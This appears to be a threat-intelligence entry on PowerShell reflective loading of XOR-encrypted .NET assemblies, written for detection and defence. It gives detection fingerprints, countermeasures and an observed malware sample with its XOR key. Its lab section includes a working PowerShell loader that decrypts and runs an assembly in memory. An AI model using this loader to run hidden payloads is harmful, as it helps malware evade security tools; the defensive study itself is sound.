XOR-decrypted .NET assembly reflective loading
A defense-evasion technique in which a malware payload encrypts a .NET assembly with a simple XOR cipher, decrypts it at runtime in PowerShell, and loads it reflectively into the current process via System.Reflection.Assembly::Load without ever writing the assembly to disk.
What It Does
- The attacker compiles a .NET assembly (e.g. C# executable or DLL) containing the final payload.
- The assembly bytes are XOR-encrypted with a hardcoded key and base64-encoded.
- The encrypted blob is embedded inside a PowerShell script.
- At runtime, PowerShell decrypts the bytes using the XOR key, then calls
[System.Reflection.Assembly]::Load(byte[]). - The malware invokes an entry-point static method via reflection (
GetType().GetMethod().Invoke()).
Detection / Fingerprint
- PowerShell commands containing
System.Reflection.Assemblyand::Load GetType("...").GetMethod("...").Invoke($null, ...)patterns- Function names like
Invoke-InMemoryAssemblyorDecrypt-XORContent - Large base64 blobs inside PowerShell that decode to high-entropy byte arrays (encrypted assemblies)
Reproduce on your own VMs
C# payload (compile with csc.exe)
using System;
public class Runner {
public static void Main(string[] args) {
Console.WriteLine("Reflective load successful.");
}
}
PowerShell reflective loader
function Decrypt-XORContent($CipherText, $EncryptionKey) {
$cipherBytes = [Convert]::FromBase64String($CipherText)
$keyBytes = [Text.Encoding]::UTF8.GetBytes($EncryptionKey)
$plainBytes = New-Object byte[] $cipherBytes.Length
for ($i = 0; $i -lt $cipherBytes.Length; $i++) {
$plainBytes[$i] = $cipherBytes[$i] -bxor $keyBytes[$i % $keyBytes.Length]
}
return $plainBytes
}
$encryptedB64 = "BASE64_OF_XOR_ENCRYPTED_ASSEMBLY"
$key = "MyXORKey123"
$asmBytes = Decrypt-XORContent $encryptedB64 $key
$asm = [System.Reflection.Assembly]::Load($asmBytes)
$type = $asm.GetType("Runner")
$method = $type.GetMethod("Main", [System.Reflection.BindingFlags]::Public -bor [System.Reflection.BindingFlags]::Static)
$method.Invoke($null, @(,[string[]]@()))
Verification
Run the PowerShell script. If the assembly loads and prints the message, the technique is reproduced. Monitor with Process Monitor to confirm no .dll file is written to disk.
Defensive Countermeasures
- Enable PowerShell Constrained Language Mode and application control (AppLocker / WDAC)
- Monitor script-block logging for
Assembly::LoadandGetType(...).GetMethod(...).Invoke(...) - Use EDR behavioral rules that alert on in-memory .NET assembly loads from non-standard sources
Pages where observed
- spamita —
Invio proforma.jsdrops a PowerShell stage that XOR-decrypts a .NET assembly with keySKIDO56@@fhsdghand loads it reflectively ^[report.md]